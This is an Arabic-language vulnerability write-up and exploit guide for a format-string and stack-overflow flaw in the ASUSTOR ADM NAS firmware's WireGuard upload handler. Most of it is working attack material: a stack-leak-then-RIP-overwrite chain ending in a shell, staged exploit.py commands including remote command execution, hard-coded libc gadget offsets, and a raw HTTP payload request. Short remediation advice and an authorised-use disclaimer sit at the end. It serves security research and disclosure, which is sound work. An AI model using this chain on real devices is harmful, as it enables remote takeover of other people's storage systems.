
ASUSTOR ADM 5.1.2 vpnupload.cgi ثغرة تنسيق السلسلة وتجاوز سعة المخزن المؤقت للمكدس RCE (CVE-2026-6643)
| الحقل | القيمة |
|---|
| المنتج | ASUSTOR ADM (ASUSTOR Data Master) |
| الإصدار المتأثر | ADM 5.1.2.REO1 (X64_G3, 2026-02-25) |
| المكوّن | /portal/apis/settings/vpnupload.cgi — إجراء upload_wireguard |
| نوع الثغرة | CWE-134 تنسيق السلسلة / CWE-121 تجاوز سعة المخزن المؤقت في المكدس |
| الخطورة | عالية |
| يتطلب مصادقة | نعم (ملف تعريف ارتباط Revive_Session صالح) |
| تاريخ الاكتشاف | 2026-03-14 |
يقوم معالج upload_wireguard بتحليل ملف إعداد WireGuard، ويجمع الحقول في كائن JSON، ثم يمرّر النتيجة مباشرةً كوسيطة سلسلة تنسيق إلى printf():
pcVar2 = (char *)Json_To_String(uVar1);
printf(pcVar2); // user-controlled format string
يمكن للمهاجم تضمين محددات تنسيق printf في أي حقل من حقول إعداد WireGuard:
%x / %p — قراءة ذاكرة المكدس (تسريب معلومات)%n — الكتابة إلى ذاكرة عشوائية (تنفيذ كود عبر الكتابة فوق GOT)يستخدم المعالج نفسه sscanf("%s") غير المقيّدة لنسخ قيم الإعداد إلى مخازن مؤقتة في المكدس بحجم 300 بايت، بينما يقبل fgets حتى 32,768 بايت لكل سطر:
__isoc23_sscanf(__s, "PrivateKey = %s", local_ac4); // 300B
__isoc23_sscanf(__s, "Endpoint = %s", local_164); // 300B
// 8 fields total; only DNS has a length limit
يؤدي تزويد أكثر من 300 بايت إلى تجاوز في المخازن المؤقتة المجاورة. وعند 4,000 بايت يُتلف عنوان RIP المحفوظ، مما يسبب SIGSEGV.
| الحماية | الحالة | التأثير |
|---|---|---|
| FORTIFY_SOURCE | معطّلة | printf (وليس __printf_chk) — كتابة %n تعمل |
| Stack Canary | معطّلة | لا يلزم تسريب حارس المكدس |
| PIE | معطّلة | عناوين GOT وgadgets ثابتة |
| RELRO | جزئي | GOT قابل للكتابة |
Step 1 Format string %x → Leak stack memory, recover libc base
Step 2 Endpoint overflow → Overwrite saved RIP with one-gadget / system()
Step 3 execve("/bin/sh") → Shell as the web server user
تقع local_164 (مخزن Endpoint المؤقت) عند rbp-0x164، وهي الأقرب من بين المخازن الثمانية إلى عنوان الإرجاع المحفوظ:
Stack layout (Ghidra):
local_ac4 PrivateKey rbp-0xac4 300B
local_998 Address rbp-0x998 300B
local_86c PublicKey rbp-0x86c 300B
local_740 ListenPort rbp-0x740 300B
local_4e8 PresharedKey rbp-0x4e8 300B
local_3bc AllowedIPs rbp-0x3bc 300B
local_290 PersistentKeepalive rbp-0x290 300B
local_164 Endpoint rbp-0x164 300B ← target
saved RBP rbp+0x000
saved RIP rbp+0x008 ← 0x164 + 8 = 364 bytes away
يتوقف sscanf("%s") عن النسخ عند بايت الصفر. ينتهي عنوان libc (0x7f...) في تمثيل little-endian ببايتي صفر. غير أن البايتين العلويين لأي عنوان RIP محفوظ يحملان بالفعل 0x0000، لذا تكتمل الكتابة بشكل صحيح حتى لو أنهى sscanf العمل مبكرًا:
one_gadget address 0x00007f1234567890 (little-endian):
\x90 \x78 \x56 \x34 \x12 \x7f | \x00 \x00
^--- sscanf stops here
but these bytes were already 0x00 → correct
يجب أن تأتي جميع أدوات ROP الوسيطة أيضًا من libc (نطاق 0x7f...) لتجنّب بايتات الصفر المضمّنة. فقط القيمة الأخيرة في السلسلة قد تنتهي بأصفار.
uv add requests
uv run exploit.py <host:port> '<cookie>' --stage offset
مثال على المخرجات:
[*] Detecting format string argument offset...
[+] Offset: 8 (echo: AAAA.41414141...)
uv run exploit.py <host:port> '<cookie>' --stage leak --fmt-offset 8
مثال على المخرجات:
[+] Stack dump (args 8..47):
[ 8] 0x0000000000000000
[ 9] 0x00007f8b2c3d4e5f ← libc candidate
...
[+] Best candidate: arg[9] = 0x7f8b2c3d4e5f
Subtract the known offset of whichever symbol this is:
libc_base = 0x7f8b2c3d4e5f - <symbol_offset>
حدّد الرمز واحسب قاعدة libc:
readelf -s libc.so.6 | grep -w __libc_start_main
# e.g. offset 0x23d4e5f → libc_base = 0x7f8b2c3d4e5f - 0x23d4e5f
# Try one_gadget first (use the one_gadget tool to get correct offsets)
uv run exploit.py <host:port> '<cookie>' --stage rce --libc-base 0x7f8b2c000000
# Fall back to pop rdi + system() ROP chain if one_gadget fails
uv run exploit.py <host:port> '<cookie>' --stage rce-rop --libc-base 0x7f8b2c000000
uv run exploit.py <host:port> '<cookie>' --stage shell --cmd 'id'
استخرج libc.so.6 من صورة البرنامج الثابت (firmware)، ثم نفّذ:
# system() offset
readelf -s libc.so.6 | grep -w system
# /bin/sh string offset
strings -a -t x libc.so.6 | grep '/bin/sh'
# one_gadget offsets
one_gadget libc.so.6 # gem install one_gadget
حدّث الثوابت في exploit.py:
LIBC_SYSTEM = 0x055410
LIBC_BINSH = 0x1B75AA
LIBC_POP_RDI_RET = 0x026B72
LIBC_ONE_GADGETS = [0xE3AFE, 0xE3B01, 0xE3B04]
POST /portal/apis/settings/vpnupload.cgi?act=upload_wireguard HTTP/1.1
Cookie: <valid session>
Content-Type: multipart/form-data; boundary=BOUND
--BOUND
Content-Disposition: form-data; name="metadata"; filename="t.conf"
dummy
--BOUND
Content-Disposition: form-data; name="file"; filename="t.conf"
[Interface]
PrivateKey = AAAA_%08x_%08x_%08x_%08x
Address = 10.0.0.2/24
DNS = 1.1.1.1
[Peer]
PublicKey = BBBB_normal
AllowedIPs = 0.0.0.0/0
Endpoint = vpn.test.com:51820
--BOUND--
ملاحظة: يلزم وجود قسمين من multipart. يستخدم المحلّل عدّادًا للحدود؛ ولا يُفعّل تحليل
sscanfإلا في القسم الثاني.
الاستجابة (حقل clientprivatekey):
AAAA_feebd19f_0000012b_0000007d_00000002
اضبط PrivateKey على 4,000 بايت → SIGSEGV (رمز الخروج 139).
| الثغرة | الإصلاح |
|---|---|
| تنسيق السلسلة | استبدل printf(pcVar2) بـ printf("%s", pcVar2) أو fputs(pcVar2, stdout) |
| تجاوز سعة المخزن المؤقت | أضف حدود طول إلى جميع سلاسل تنسيق sscanf (مثل %299s للمخازن المؤقتة بحجم 300 بايت) |
X64_G3_5.1.2.REO1.img — تم استخراج vpnupload.cgi من الصورةld-linux الخاص بالبرنامج الثابت والمكتبات المشتركةje → jmp عند الإزاحة 0x1224 (للاختبار المحلي فقط)هذا الاستغلال مُقدَّم لأغراض البحث الأمني والاختبار المصرّح به فقط. لا تستخدمه ضد أنظمة دون إذن صريح.